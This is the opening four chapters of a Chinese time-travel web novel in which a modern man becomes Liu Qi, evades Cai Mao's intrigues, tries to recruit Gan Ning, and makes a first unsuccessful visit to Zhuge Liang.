《开局截胡诸葛亮,皇叔对不住了!》 第1章开局穿越刘琦:这一世我要逆天改命! 建安五年春,荆州治所襄阳,荆州牧州府偏院刘琦的暖房里还飘着淡淡的沉水香。 烛火跳了两跳,把锦被上绣的流云纹映得忽明忽暗,榻上的刘琦猛地“呼”一声坐起来,额角的汗珠子“啪嗒”砸在衣襟上,脸色白得像纸。 刘琦——不,现在该叫他刘琦了——胸口还在突突地跳,刚才梦里的景象还扎在脑子里没散。 梦里他就是个局外人,看着“自己”被蔡氏逼得步步退,在襄阳举步维艰,处处避让,尽管如此后来好不容易求到江夏太守的位子,却还是被处处掣肘,最后只能窝在府里喝闷酒,不到三十就郁郁而终。 那股子透骨的憋屈劲儿,醒了都还堵在刘琦嗓子眼,让他忍不住想咳。 “公子?” 这时旁边传来一声娇滴滴的轻唤,刘琦这才注意到身边还躺着人。 而刚才刘琦坐得太急,盖在两人身上的锦被随着刘琦的动作滑下去大半,露出身边侍女光洁的肩头,还有锁骨下那点若隐若现的粉。 烛火刚好照在那片肌肤上,连细绒都看得清,刘琦脑子“嗡”一下就炸了,下意识喊出声: “哎!你、你快把被子拉上!” 同时刘琦脑海中也浮现出原主的记忆。 睡在自己身旁的侍女名叫翠儿,是原主贴身伺候的,昨晚也是跟着一起歇在暖房的。 而翠儿被刘琦这一嗓子吓了跳,抬头时眼里还蒙着层刚醒的水汽,看见刘琦红到耳根的脸,还有自己露在外面的身子,才反应过来,赶紧伸手把锦被拉回来裹紧,小声道: “公子您咋了?是不是做噩梦了?刚才您睡着的时候,还攥着我的手喊‘别逼我’呢。” 说着翠儿从锦被中伸出白嫩的小手给刘琦看,只见白嫩的手臂上确实是被人攥出几道红印子。 刘琦没接话,只是盯着翠儿白嫩的手臂发呆。 此时的刘琦那还有功夫看翠儿的手臂,正全神贯注(被动)的吸收起脑海中原主(刘琦)的生平记忆。 半响过后,刘琦拍了拍自己有些发胀的脑门,而躺在身侧的翠儿,见刘琦先是发呆,随后又是拍脑门,还以为刘琦是不舒服了。 于是翠儿赶紧爬起来摸了摸刘琦的脸颊,柔声道:“怎么了公子?哪里不舒服吗?” “我靠(o)凸!” “细枝挂硕果......” 刘琦看着眼前的纯色,瞬间发动了橡胶果实能力。 而翠儿听见刘琦的喃喃语后,立马意识到了自己身无寸缕,瞬间脸颊通红,娇呼一声躲回锦被里面。 “呵呵......” 对于翠儿的反应,刘琦并没有感到出奇,毕竟古人的三观不如现代开放,即便已经是待寝侍女了,但白日里还是有些放不开的。 于是刘琦索性不去管翠儿,而是摸了摸自己的脸,皮肤滑嫩,下巴上刚冒点青茬,连触感都不一样。 “不是梦……” 刘琦喃喃着,“老子真穿了?穿成刘表那倒霉儿子刘琦了?” 锦被里翠儿没听清刘琦后面说的啥,只觉得今天的公子有点怪怪的。 往常公子就算做了噩梦,也只会闷着不说话,哪会像今天这样又喊又叫,还说些奇奇怪怪的话,虽然自己确实是,但公子你说出来好羞人啊!!! 刘琦记得自己昨晚还在出租屋里熬夜看《三国演义》,看到刘琦那段的时候还吐槽了句“这货真是把一手好牌打得稀烂”,结果喝了口冰可乐,没等咽下就觉得天旋地转,再睁眼就到这儿了。 建安五年……刘琦心里默念着这个年份。 这年曹操和袁绍还在官渡死磕,孙策在江东刚站稳脚跟,马上就要被许贡的门客刺杀,孙权那时候才十八岁,接了摊子都还没稳住。 而他现在是刘琦,刘表的长子,看着身份金贵,可襄阳城内谁不知道他刘琦虽有长公子名头,却是有名无实,空架子一个。 如今的荆州的实权派如蔡氏、蒯氏皆都支持刘琮。 蔡瑁是蔡氏的弟弟,张允是她的外甥,整个襄阳城,除了他爹刘表,没几个人把他这个“大公子”放在眼里。 “憋屈啊……” 想到这刘琦叹了口气,又想起梦里那副惨样,心里就发毛。 原主就是太老实,蔡氏说啥他就信啥,刘表稍微护着点蔡氏,他就觉得天塌了,最后自己把自己熬死了。 刘琦可不想走这条路——21世纪他就是个普通人,没权没势,好不容易穿成个诸侯之子,就算开局难,也不能再像原主那样窝囊死! 烛火又跳了跳,把刘琦的影子投在墙上,晃来晃去的。 刘琦定了定神,对翠儿说:“你先下去吧,让我一个人静静。” 翠儿点点头,起身的时候还不忘把锦被往刘琦那边拉了拉,小声道:“公子要是饿了,就喊外面的小厮,厨房温着粥呢。” 翠儿说完才轻手轻脚地退出去,还把门给虚掩上了。 刘琦靠在榻边,伸手摸了摸榻上的锦垫,触手冰凉。 刘琦闭上眼睛,强迫自己冷静下来。 现在不是慌的时候,得想清楚以后该怎么走。 留在襄阳?肯定不行,蔡氏迟早要对他下手,刘表现在态度不明,说不定哪天就被蔡氏说动了,把他打发走。 原主就是被赶到江夏的,那自己能不能主动点,提前去江夏?想到这儿,刘琦眼睛一亮。 对呀,与其等着被人赶,不如自己主动去要! 江夏是荆州的门户,挨着江东,虽然现在有点乱,但只要拿到兵权,就能自己说了算。 而且现在已经是建安五年了,不出意外的话孙策马上就要死了,孙权刚继位,江东内部肯定不稳,到时候他要是在江夏,说不定能趁机捞点好处——比如把扬州的地盘抢过来? 扬州现在大部分在孙策手里,孙策一死,孙权肯定要先稳住内部,没精力管外面。 自己要是能借着江夏太守的身份,趁这个机会把扬州的豫章、庐江那些地方拿下来,就能有自己的立身之本,到时候就算蔡氏在荆州再横,也奈何不了自己了! 这个念头一冒出来,刘琦就按捺不住地激动。 他在21世纪看了那么多历史小说,别的没学会,“抓住时机”这点还是懂的。 孙策遇刺就是他最大的机会,错过这个村,就没这个店了。 不过,怎么才能让刘表同意封他为江夏太守呢?刘琦又皱起了眉头。 刘表虽然是他爹,但心里更偏向蔡氏生的刘琮,而且蔡瑁他们肯定会反对。 他得想个办法,让刘表觉得封他去江夏是对的——比如,说江夏需要人镇守,防止江东来犯? 毕竟孙策那时候在江东势头正盛,刘表肯定也担心江东会打荆州的主意。 “有了!”刘琦猛地一拍大腿,差点把自己拍疼了。 他可以找机会跟刘表说,愿意去江夏替父亲分忧,镇守荆州的东大门,这样既显得他有孝心,又有担当,刘表说不定就会动心。 而且蔡氏那边,说不定也愿意他离开襄阳,眼不见心不烦,说不定还会暗中推一把?想到这儿,刘琦心里的石头总算落了点。 刘琦睁开眼,看向窗外,外面已经有点蒙蒙亮了,天边泛起一层淡淡的鱼肚白。 暖房里的烛火快烧完了,只剩下一点微弱的光。 刘琦站起身,走到窗边,推开一条缝。 清晨的风带着点凉意吹进来,拂在脸上,让刘琦精神一振。 刘琦看着远处幕府的方向,心里默念:“刘琦啊刘琦,以前你窝囊死了,现在换我来,肯定不会再走你的老路。建安五年,江夏,扬州……等着我!” 这时候,外面传来小厮的声音:“公子,该洗漱了,大人(刘表)那边派人来说,让您辰时过去见他。” 刘琦心里一动。 刘表找他?难道是有什么事?不管是啥事,这都是个机会。 刘琦深吸一口气,应了声:“知道了,让翠儿进来伺候。” 很快,翠儿就端着铜盆和皂角进来了,后面还跟着个小厮,手里捧着干净的衣袍。 刘琦看着铜盆里自己的倒影,虽然脸色还有点苍白,但眼神里已经没了刚才的慌乱,多了点坚定。 “公子,今天穿这件青色的锦袍吧?大人说过,公子穿青色好看。” 翠儿拿起衣袍,小声问道。 刘琦点点头,接过衣袍穿上。 锦袍很合身,就是有点束缚,不如他以前穿的T恤舒服。 但刘琦知道,从穿上这件衣袍开始,他就是真正的刘琦了,要在这个汉末乱世里,为自己谋一条活路,一条不一样的路。 洗漱完,刘琦走到门口,抬头看了看天。 太阳已经出来了,金色的阳光洒在幕府的青砖上,亮得晃眼。 刘琦整理了一下衣袍,迈步走了出去。 辰时见刘表,正好可以试试能不能提去江夏的事。 “走着!” 刘琦在心里说了句,脚步也轻快了不少。 不管前面有多少困难,刘琦都得闯一闯——毕竟,刘琦再也不想像原主那样,憋屈地死在江夏了。 第2章 逆子?开局被贬,襄阳城处处杀机! 刘琦刚跨进幕府议事厅的门槛,心底就觉得一股不祥的预感从脚底往上窜。 厅里虽然众人窃窃私语着,见刘琦进来,众人神色各异的看向刘琦。 既有冷漠,又有充满恶意的幸灾乐祸。 刘琦抬头望去只见,上首那张楠木案几后,刘表正皱着眉看他,眼神里全是失望,连句“坐”都没说。 案上堆着几卷竹简,旁边还放着个铜爵,里面的酒早凉透了,一看便是等了刘琦好一会儿。 见此,刘琦不知是原主作祟,还是其他原因,心中咯噔一声。 “你可知错?” 刘表的声音不高,却像块石头砸在刘琦心上。 “错?我做了什么吗?刚穿越过来就要背黑锅?天啊!” 刘琦刚想开口询问自己做错了什么,就被刘表抬手打断:“别跟我说什么理由!这几日府里府外都在传,说你整日窝在偏院的暖房里,跟侍女厮混,连早课都省了,酒气熏得半个院子都闻得到——你这是要把刘家的脸丢尽吗?” 刘琦心里“咯噔”一下,瞬间就明白是怎么回事。 这哪是府里府外传的?分明是蔡瑁和蔡夫人故意散的谣言! 昨夜他惊梦坐起,动静是大了点,可跟“厮混”半毛钱关系没有,蔡氏就是抓着这点由头,再借着他脸色苍白的模样,往他身上泼脏水。 可刘琦偏偏没法说——如今是建安五年,恐怕刘表心里早已偏着蔡氏和刘琮,就算刘琦把真相说出来,刘表也未必信,说不定还会觉得刘琦在找借口,让刘备更加厌恶刘琦这个长子。 “父亲,儿子没有……” 刘琦张了张嘴,声音有点发虚。 不是刘琦怂,是原主残留的本能在作祟——以前原主被刘表训,连抬头的勇气都没有,现在他虽然占了这身子,那股子刻在骨子里的恐惧还没散,话到嘴边都软了半截。 “没有?” 刘表把手里的竹简往案上一拍,“蔡瑁昨日还跟我说,见你从西街的酒肆出来,身边跟着两个侍女,走路都晃悠!你还敢说没有?” “蔡瑁你TMD!“刘琦心里骂了句娘。 蔡瑁这是睁眼说瞎话! 在原主的记忆里就刘琦没出过偏院,哪来的西街酒肆?可刘琦却没法反驳——蔡瑁是刘表的小舅子,又是荆州的大将,说的话比他这个“失宠”的长子管用多了。 刘琦知道自己现在无论说什么都无济于事了。 索性低着头,听刘表继续训:“你是荆州的大公子,将来是要帮我分担事务的,现在却沉迷酒色,一点正事都不干,将来怎么撑得起刘家的门户?我看你真是……不堪重用!” “不堪重用!”这话戳得刘琦心口发疼。 刘琦是穿越过来的,知道原主后面悲惨的结局,更知道这话有多伤人。 刘琦攥紧了手,指甲掐进掌心,21世纪的灵魂在脑子里叫嚣:“跟他吵啊!这老东西偏听偏信,凭什么冤枉你!” 可原主的恐惧又在拉着他:“不能吵,那是父亲,吵了只会更糟……” 两种念头在脑子里打架,让刘琦浑身都不自在。 直到刘表训得口干舌燥,挥挥手让他“滚回去自省,三日之内不许出偏院!”, 刘琦才像得了特赦似的,低着头退出议事厅。 刚走出幕府,刘琦就忍不住踹了脚廊下的石子。 石子“咕噜噜”滚远,惊飞了廊檐下的麻雀。 刘琦心里又气又闷:这便宜爹真是糊涂!蔡氏说啥信啥,自己儿子的话倒一句不听,留在襄阳就是待在笼子里,迟早被蔡氏玩死! 可气归气,刘琦却又有点慌——要是刘表真彻底不信他了,他连主动去江夏的机会都没有,那不就真要走原主的老路了? “公子,您别气了,天怪热的,咱回院吧?”跟在后面的小厮小心翼翼地劝道。 刘琦没说话,只是往前走。 刘琦不想回那个憋闷的偏院,只想找个地方透透气。 走了没几步,刘琦突然停住:“去取件粗布衫来,再叫上陈武,咱去城里转转。” 小厮愣了下,但还是赶紧跑回偏院取衣服。 没一会儿,穿着粗布短打的刘琦就带着陈武出了门。 陈武是原主留下的护卫,力气大,人也忠心,在原主的记忆里是少数几个没被蔡氏收买的人。 襄阳城比刘琦想象的热闹。 西街的酒肆挂着“杏花村”的幌子,里面传来猜拳的声音;路边的小贩吆喝着卖糖人,引得一群孩子围着;城南的码头上,船夫正忙着装卸货物,江风吹过来,带着点水汽。 刘琦本来想散散心,可走了没一会儿,就觉得不对劲。 刚才在酒肆门口,有个穿短打的汉子总往他这边看,于是刘琦故意绕到巷子口,那汉子居然也跟了过来。 而等刘琦到了码头后,一个挑夫放下担子,却不卸货,反而时不时盯着刘琦的背影发呆。 “陈武。” 刘琦压低声音,“你看那两个汉子,是不是有点怪?” 陈武顺着刘琦指的方向看了眼,眉头立刻皱起来:“公子,那是蔡家的人!左边那个叫王二,右边那个是张五,都是蔡瑁派遣在公子身边的眼线,以前就跟着公子转过几次。” 刘琦心里一沉。果然是蔡氏的人! 自己都换了粗布衫,还带着陈武,居然还是被盯上了。这襄阳城,真是连喘口气的地方都没有! 刘琦深吸一口气,压下心里的不悦和惊悸:“咱回去吧。” 回到偏院,刘琦把自己关在屋里,坐在案前发呆。 烛火跳了跳,映得刘琦脸色忽明忽暗。 刘琦现在算是彻底想明白了:留在襄阳就是死路一条,必须尽快去江夏,而且去之前,得先有自己的人——没有班底,就算到了江夏,也只是个空壳子太守,照样被人拿捏。 那找谁呢?刘琦的脑子飞速转着。 很快刘琦回想起建安五年的名人又恰好能被自己招募的,突然眼前一亮:甘宁! 刘琦记得很清楚,这时候的甘宁还在黄祖麾下。 黄祖此人心胸狭窄,且骄横跋扈,自持自己是江夏世家大族对于甘宁这样水贼出身的武将,根本就不放在眼里。 于是甘宁立了功他不赏,犯了点小错就往死里骂,甘宁恐怕早就憋着一肚子火,只是没地方去。 要是能把甘宁拉过来,以后等我有了水师,就让甘宁所领,日后攻略东吴也能轻松几分! 想到这儿,刘琦立刻喊:“陈武!李忠!过来!” 没一会儿,陈武和一个穿长衫的中年人就走了进来。 中年人是李忠,原主的管家,管账有几分本事,人也细心,也是个忠心之人。 “公子,您叫我们?”李忠躬身问道。 刘琦点点头,从案上拿起纸笔,一边写一边说:“陈武,你跟李忠去趟江夏,找黄祖麾下的甘宁。记住,要悄悄去,别让人知道。” 刘琦顿了顿,把写好的信折起来,又从抽屉里拿出个木盒:“这里面有黄金五十两,然后再从府中蜀锦十匹,你们携戴过去,亲手交给甘宁。” “信里我写了,黄祖妒才,他的本事在黄祖那儿根本没用,若是他愿意助我,日后的荆州水师都督未必不能是甘宁。” 陈武和李忠对视一眼,都看出了对方的惊讶。 有些惊讶这甘宁是何人,竟让刘琦如此许下如此厚诺。 但他们没多问,只是躬身应道:“属下遵命!” 看着两人拿着信和木盒出去,刘琦才松了口气。 甘宁这条线是是未来,能不能成还不好说,但至少刘琦迈出了第一步。 可光有甘宁还不够,眼下刘琦还急需要一个有谋略的人,一个能帮他规划未来的人。 想到“谋略”,刘琦的心跳突然加速。 刘琦猛地拍了下案几,眼睛亮得吓人:诸葛亮!对啊!卧龙诸葛亮!这时候的诸葛亮应该还在隆中隐居,还没被刘备请出山。 要是能把诸葛亮拉到自己麾下,那可比得了十个甘宁还管用!刘琦越想越激动,站起身在屋里踱来踱去。 诸葛亮有多厉害,有着后世知识的刘琦比谁都清楚——千古名相,经天纬地之才,还极重忠义,鞠躬尽瘁死而后已,名传千古! 要是有诸葛亮帮他,别说避开蔡氏的算计,就算想在汉末乱世里分一杯羹,甚至争天下,都不是不可能! 历史上刘备有了诸葛亮才三分天下,刘琦要是有了诸葛亮,还怕什么? “丞相……”刘琦喃喃着,嘴角忍不住往上翘。 刘琦现在已经开始琢摸,怎么才能去隆中见诸葛亮,怎么才能把这位大神请出山。 不过现在还不是时候,刘琦得先搞定去江夏的事,先把甘宁这条线稳住,然后从自己便宜老爹手中要到江夏太守后,手里有了点资本,再去见诸葛亮也不迟。 第3章甘兴霸狂妄索太守位 蔡瑁得着眼线讯报时,正在自家后院品茗赏花。 那名眼线躬着身子,低声禀报了刘琦派陈武、李忠秘密前往江夏联络甘宁之事。 蔡瑁端起茶杯,轻轻吹开浮沫,嗤笑一声,眼中尽是轻蔑。 “刘琦这小子,果然是病急乱投医。” 蔡瑁抿了口茶,嘴角扬起讥讽的弧度,“一个连父亲信任都得不到的公子,居然去求一个水贼出身的武夫,还真是昏了头。” 蔡瑁说完放下茶杯,撇了撇嘴角,自顾自地低语:“他若是找荆州世家联姻、拉拢地方豪强,我倒要忌惮他三分。可现在找一水贼甘宁?真是在我的逼迫下,饥不择食了。” 想到这里,蔡瑁不禁摇头轻笑,对眼线挥手道:“继续盯着刘琦,看他还能耍什么花样,其余的不必多管。” 蔡瑁言语动作间,尽显对刘琦的轻视。 在他眼中,刘琦这位长公子已是网中之鱼,翻不起什么大浪了。 待探子退下,蔡瑁轻蔑一笑:“尔等竖子,不足为惧!” ...... 江夏军营中,甘宁正对着沙盘发呆,心中却憋闷得很。 他本是巴郡豪族出身,只因不满刘璋统治,起兵反抗失败后,才远走荆州,暂时栖身于江夏太守黄祖麾下。 谁知这黄祖仗着江夏世家大族的出身,打心底里瞧不起他,即便他屡立战功,也从不封赏。 记得前几日江东小股水军来犯,甘宁率众击退敌人,保住了江夏门户。 当甘宁凯旋归来时,黄祖非但不嘉奖,反而在宴席上当众讥讽他:“一个水贼出身的人,能有什么大作为?不过是侥幸罢了。” 黄祖这般折辱,让甘宁早已萌生去意。 甘宁私下已与心腹副将王硕商议多次,打算投奔江东孙策。 那位“江东小霸王”治军严明、识人善用,且已经将江东六郡收入囊中,崛起之势天下皆知,甘宁觉得只有在那般明主麾下,才能施展自己才能和抱负。 “将军又在为前日宴席之事烦忧?”王硕走进营帐,见甘宁面色不豫,小心问道。 王硕所说的便是前日黄祖在宴席上,出言羞辱甘宁之事。 这个事若是让王硕来评价,那就是二人皆有过错,甘宁好大言,经常口出狂言,而黄祖自射杀孙坚出任江夏太守后,就骄横恣肆,常言荆州无我安有今日之宁? 所以黄祖看不起甘宁不单是甘宁是水贼,还有就是不喜甘宁性格。 我黄祖骄横,口气狂,那是我射杀了江东猛虎,你一个水贼,你有什么资格狂? 甘宁叹口气,拳头重重砸在沙盘边缘:“黄祖老儿欺人太甚!昨日又克扣我军粮饷,说是荆州方面供给不足。我看分明是他中饱私囊,却要我部将士挨饿!” 王硕低声道:“既然如此,不若早日决定去留。江东那边,我已派人联络过,孙将军表示十分欢迎将军前往。” 甘宁却面露犹豫:“只是苏飞那边...我与他交情匪浅,就这么不告而别,实在....” 话未说完,帐外亲兵来报:“将军,营外有二人求见,自称从襄阳而来,带有刘琦公子的亲笔信。” 甘宁与王硕对视一眼,皆露疑惑。 刘琦的名号甘宁他们自然听过,但素无往来,不知为何突然派人前来。 “让他们进来。” 于是甘宁整了整衣甲,端坐主位让王硕带进来。 不多时,陈武、李忠二人随王硕进入营帐,行礼后呈上刘琦的亲笔信以及一份厚礼。 甘宁拆信阅罢,随即当场冷笑:“呵!荆州谁人不知刘琦这个长公子是个虚有其表的?一个被父亲厌弃,被蔡家拿捏,连自己的世子之位都快保不住,还来招揽我?” 说着甘宁就将信纸随手扔在案上,语气不屑: “回去告诉你们公子,我甘宁就算再不得志,也不会去投奔一个没根基‘空架子’的长公子。” 陈武、李忠面色顿时难堪。 二人正要争辩。 这时甘宁身旁的王硕暗中拉了拉甘宁的衣袖,摇头示意不要拒绝得如此决绝。 甘宁略一迟疑,便改口道:“不过,此事关乎我部众多将士前途,且容我与部下商议一番,再给你们答复。” 待陈武、李忠暂退帐外,甘宁不解地看向王硕:“为何拦我?刘琦这般处境,去了岂非自寻死路?” 王硕压低声音:“将军,话不能说死。刘琦虽眼下失势,但终究是刘表长子,荆州顺位继承第一人。万一将来他能翻盘呢?咱们投江东是为前程,投刘琦若能得‘从龙之功’,未必不是条路。” 见甘宁面露思索,王硕继续道:“再说,刘琦敢许出‘荆州水师都督’的承诺,可见也有几份魄力。将军不如再考虑考虑?” 甘宁沉吟片刻,终于点头:“既然如此,那就叫他们进来再谈谈。” 陈武、李忠重返帐中,相谈不到半刻二人便察觉出甘宁态度有所软化。 于是陈武趁机道:“甘将军我家公子是真心求贤,将军若有顾虑或需求,尽可直言。只要我家公子能办到,必不推辞。” 甘宁似乎是被陈武说动了几分,思考片刻后开口道:“想让我甘兴霸归附?那至少得给个太守之位!” 甘宁站起身來,踱步道:“不瞒二位,黄祖赏罚不明,我在其麾下很是不痛快。要是你们公子连一个郡守之位都许不了,我去了与现在有何区别?” 陈武、李忠闻言,心中不免暗道:你一个水贼出身,开口就要太守之位,好大的口气! 但二人对刘琦忠心耿耿,知道甘宁是公子亲自点名要招揽的人,于是面上不露丝毫不满,只恭敬道:“将军的条件,我等会如实禀报公子。” ...... 五日后,襄阳城中,刘琦正在书房踱步。 虽然尚未收到陈武、李忠的回信,但刘琦却不见焦躁,反而开始为“一顾茅庐”做准备。 “公子,这是您要的隆中附近地形图。” 李忠留下的副手张诚呈上一卷帛纸,“卧龙岗位于隆中山中,诸葛亮常在此耕读。当地乡绅对他十分敬重,称其有‘卧龙’之才。” 刘琦展开地图,仔细查看隆中地形,问道:“可知诸葛亮平日喜好什么?” 张诚回道:“听闻他好读书,尤其兵法和治国方略。有时与友人弹琴对弈,生活颇为简朴。” 刘琦点头,吩咐道:“去将我珍藏的那本《孙子兵法》刻本,以及上月得来的上等笔墨纸砚备好。记住,要低调行事,若蔡家人问起,就说我在偏院闭门读书,自省过错。” 张诚犹豫道:“公子真要去隆中求见那诸葛亮?此人虽有名声,但毕竟是一介布衣....” 刘琦摆手打断:“当今乱世,人才最为难得。” “你去准备吧,记住要隐秘。” 刘琦将张诚打发下去后,望向窗外,语气坚定,“若要对抗蔡家,日后继承荆州,那我必须有自己的班底。” “刘备在不知晓诸葛亮才能的情况下都能三顾茅庐请诸葛亮出山,我刘琦知晓历史为何不能?” 此刻的刘琦眼中,已没有了往日的彷徨无助,取而代之的是一种决然和清明。 招揽甘宁只是第一步,请诸葛亮出山才是关键。而这一切行动,都必须瞒过蔡家的耳目。 第4章一顾茅庐,蔡瑁疑心暗滋生 刘琦一切准备就绪后,第二日天刚蒙蒙亮,襄阳城角一处偏门吱呀一声开了条缝。 随后几骑快马快速的溜了出来,马蹄踏在青石板上发出一声声脆响。 刘琦裹了件半旧的青布袍,头发随便挽了个髻,看上去倒像个寻常的读书人。 “走走走,我们搞快点!” 刘琦语气中夹杂着几分急促与紧张。 张诚跟在刘琦后头,眼睛不住四下里扫,生怕撞见熟人。 “公子,咱这谎能瞒多久?” 张诚压着嗓子问。 出门前刘琦叫个身形像自己的小厮扮成他的模样在院里读书,还特意叮嘱了翠儿自己谁也不见。 “能瞒一时是一时。” 刘琦一夹马腹,催着马往隆中方向去,“蔡瑁那老小子眼线多,但总不能把襄阳城围成铁桶,只要我们能在他发现前赶到隆中就行了。” 刘琦嘴上虽说如此,但其实心里其实也七上八下的,不过一想到诸葛亮的名字,又硬生生把那份慌压了下去——那可是诸葛孔明啊!卧龙!若能将丞相请出山,那我刘琦还怕什么蔡家? 刘琦一路上路越走越偏,襄阳城的喧嚣渐渐甩在身后,取而代之的是隆中的山色。 如今已是春末,山道两旁的杂草丛生,马蹄踏上去沙沙响。 刘琦没心思赏景,只不住地催马,恨不得立时飞到那茅庐前。 等日头爬到头顶时,引路的张诚总算勒住了马,指着前头一片松林:“公子,那什么卧龙先生就住在那。” 刘琦抬头望去,只见松林深处隐隐露出个茅草顶,柴扉半掩,门前清溪流过,瞧着倒是清幽,就是……就是太过简朴了些。 刘琦愣了一瞬,然后才甩镫下马,整了整衣袍,将沿途而来的灰尘和落叶清理干净——虽说扮作寻常士子,可见这位大贤,礼数不能废。 “扣门时客气些。” 刘琦叮嘱张诚,“就说襄阳刘琦,特来拜见孔明先生。” 张诚应了声,上前轻叩柴扉。 不多时,里头出来个总角小童,揉着眼问:“谁呀?” “小兄弟,” 刘琦抢上一步,尽量把声音放柔和,“请问诸葛孔明先生可在家?襄阳刘琦,特来拜访。” 那小童眨巴着眼打量他一番,摇摇头:“先生一早就出门了,说是访友去了,归期么……没准儿。” 刘琦心里咯噔一下,像是被泼了盆冷水,满腔热望霎时凉了半截。 刘琦强笑着问:“不知你家先生去了何处?几时能回?” “先生的行踪,哪是我一小童能问的。” 小童笑嘻嘻道,“兴许三五日,兴许个把月,都说不好。” 刘琦僵在原地,一时不知该如何是好。 刘琦来时已经准备了满腹说辞,想了无数种可能,独独没想到会扑个空。 难道历史真有修正力?要自己效仿刘备? 就在刘琦心中暗自怀疑时。 张诚在一旁见刘琦呆立在那,还以为刘琦接受不了,便低声道:“公子,要不咱们先回去?改日再来?” 刘琦却摇摇头。 来都来了,岂能就这么走了? 刘琦让张诚取出备好的礼物——那套上好的笔墨纸砚和《孙子兵法》刻本。 随后递给小童:“这些微物,还请小兄弟转交先生,就说刘琦仰慕先生大才,改日必当再来拜谒。” 小童接过礼物,倒是规矩道了谢。 刘琦站在柴扉外,望着里头简朴的茅庐,心里五味杂陈。 刘琦一时间是不知道诸葛亮是故意不见还是真不在?若是故意,莫非是瞧不上自己这个“空架子”公子?若是真不在……那也太不巧了! “公子,咱们该走了。” 张诚小声提醒,“再耽搁,天黑前就赶不回城了。” 刘琦叹口气,最后望了眼那茅庐,转身离去。 山风卷起尘土,打落在刘琦衣袍上,竟显出几分萧索。 ...... 刘琦们这边刚离开隆中地界,襄阳城里蔡瑁就觉出点不对来了。 蔡瑁这会儿正在府里听曲儿,几个歌姬咿咿呀呀地唱,他眯着眼打着拍子,心思却不在曲子上。 底下一监视刘琦的眼线跪着回报,说刘琦这几日老实得很,天天窝在偏院读书,连门都不出。 “真没出过门?”蔡瑁捻着胡子问。 “确实没见长公子出来,送饭的小厮说,公子连日都在用功,脸都熬白了。” 蔡瑁哼了一声。 刘琦那小子什么时候这么用功过? 事出反常必有妖! 蔡瑁摆摆手打发歌姬退下,叫来心腹吩咐:“去,查查这几日偏院采买的东西,然后再问问守城的,可有见过刘琦人出去。” 心腹领命而去,不到两个时辰就回来了,脸色有点古怪:“将军,偏院这几日采买如常,只是……守城南门的卒子说,早晨确实是见到过一个相似长公子的人出城,往西去了,瞧着像游学的读书人,可骑的马却都是膘肥体壮的好马,不像普通书生。” “往西?” 蔡瑁猛地从软榻上坐直了身子,眼睛眯了起来,“隆中可就在西边!” 想到这蔡瑁心里那根疑弦立刻被拨动了。 蔡瑁越想越觉得不对劲。 刘琦突然转性用功? 一大早就有相似的读书人骑着好马往西边去?这两件事凑在一块儿,由不得他不起疑心。 蔡瑁在屋里来回踱了几步,忽然发出一声冷笑:“好个刘琦小儿,跟我玩暗度陈仓?真当我蔡瑁是瞎的不成!” 蔡瑁停下脚步,眼中闪过厉色,“去!给我加派人手,给我把偏院盯死了!” “以后我要知道就算是一只苍蝇飞出来都得给我查清楚是公是母!” “另外再立刻派机灵点的人,快马去隆中那边仔细打听打听,看最近有没有生人跑去拜访那个……那个叫什么水镜先生的司马徽,或者庞德公!刘琦这小子,怕是想去攀这些清流名士的高枝儿了!” 蔡瑁嘴上虽然常说着“竖子不足为惧”,但此刻心里却莫名地绷紧了一根弦。 刘琦要是真豁出去脸面,不惜代价地搭上了司马徽或者庞德公那条线,借着这些名扬荆襄的大名士的名头和关系网,那情况可就大不一样了。 这些老家伙虽然没实权,但在士人中间说话极有分量,万一他们肯替刘琦说几句话,或者引荐些人才……蔡瑁搓着手指,眼底闪过一丝阴霾,这可不是他愿意看到的。 ...... 刘琦对襄阳城里的这番暗流涌动还浑然不知。 回程的路上刘琦紧赶慢赶,总算在天黑城门关闭前悄摸地溜回了偏院,一进门就跟散了架似的瘫倒在席上,浑身骨头像被拆过一遍。 翠儿赶紧端来热水,看刘琦脸色灰败,小心地问:“公子……你这是怎么了?事情不顺?” “唉,甭提了。” 刘琦苦笑一声,连摇头的力气都快没了,“连正主儿的影子都没见着,白跑一趟。” 翠儿试图安慰他:“那是他没福气!公子您亲自去请,他还摆啥架子……” 刘琦摆摆手,没让她继续说下去。 刘琦心里跟明镜似的——诸葛亮那样的人物,哪需要摆什么架子,人家是真有经天纬地之才,值得他放下身段三请四请。 如今刘琦愁的是另一件事,有道是雁过留声,风过留痕,自己偷跑出去,很难瞒过有心人。 想到这刘琦总觉得心里不踏实,隐隐有种要坏事的感觉。 果然,怕什么来什么。 第二天一早,张诚就慌里慌张地跑来回报,脸都白了:“公子,不好了!外头盯梢的眼线一下子多了好多生面孔!比之前多了一倍都不止!连后门那个天天来送菜的仆役刚才都被他们拦下来盘问了好久!” 刘琦心里猛地一沉,最担心的事还是发生了。 蔡瑁果然起疑了!而且动作这么快! 刘琦在屋里焦躁地踱了两圈,忽然站定,对翠儿吩咐道:“去,把前几日买的那几大捆竹简书卷都搬出来,乱七八糟摊在案上。再给我熬碗浓得发苦的茶来,把我这眼圈熬得再红点,憔悴点!” 翠儿一愣,没明白:“公子您这是要……?” “他不是疑心我装模作样、假用功吗?”刘琦冷笑一声,“那我就做戏做全套,演给他看!看他还信不信我!” 于是,当天晚上刘琦偏院里又是彻夜灯火通明,“苦读”了整整一宿。 刘琦倒是真逼着自己看了几卷书,只是心思早就不在书上,而是飞到了隆中那片松林里,绕着那扇半掩的柴扉打转。 刘琦反复想着那小童的话,揣测着诸葛亮究竟是位何等风采的人物,又该如何才能打动他…… 隔日午后,陈武二人总算从江夏回来了以及带上了甘宁的回信。 刘琦迫不及待地拆开那卷小小的帛书,借着窗外透进来的光仔细看。 看着看着,刘琦的眉头就慢慢皱了起来。 甘宁这家伙,果然和历史上记载的一样狂傲不羁,信里话里话外还是咬着“太守之位”不松口,甚至还暗戳戳地质疑他刘琦到底有没有那个本事和魄力兑现这种承诺。 “好个甘兴霸!” 刘琦把帛书“啪”一声拍在案上,简直是气笑了,“这是不见兔子不撒鹰,要掂量掂量我的诚意和斤两啊!” 刘琦在屋里背着手转了两圈,忽然停下脚步,眼神也变得锐利起来。 诸葛亮要请,甘宁也要揽!这两个人,他刘琦都要定了! 蔡瑁起疑就让他疑去,总不能因为怕被蔡瑁猜忌就束手束脚,什么都不做,那不是又走回原主的老路了? “备纸笔!” 刘琦忽然提高声音吩咐道,“我这就给甘宁回信。他不是咬死了要太守之位么?好!我就许给他看!” 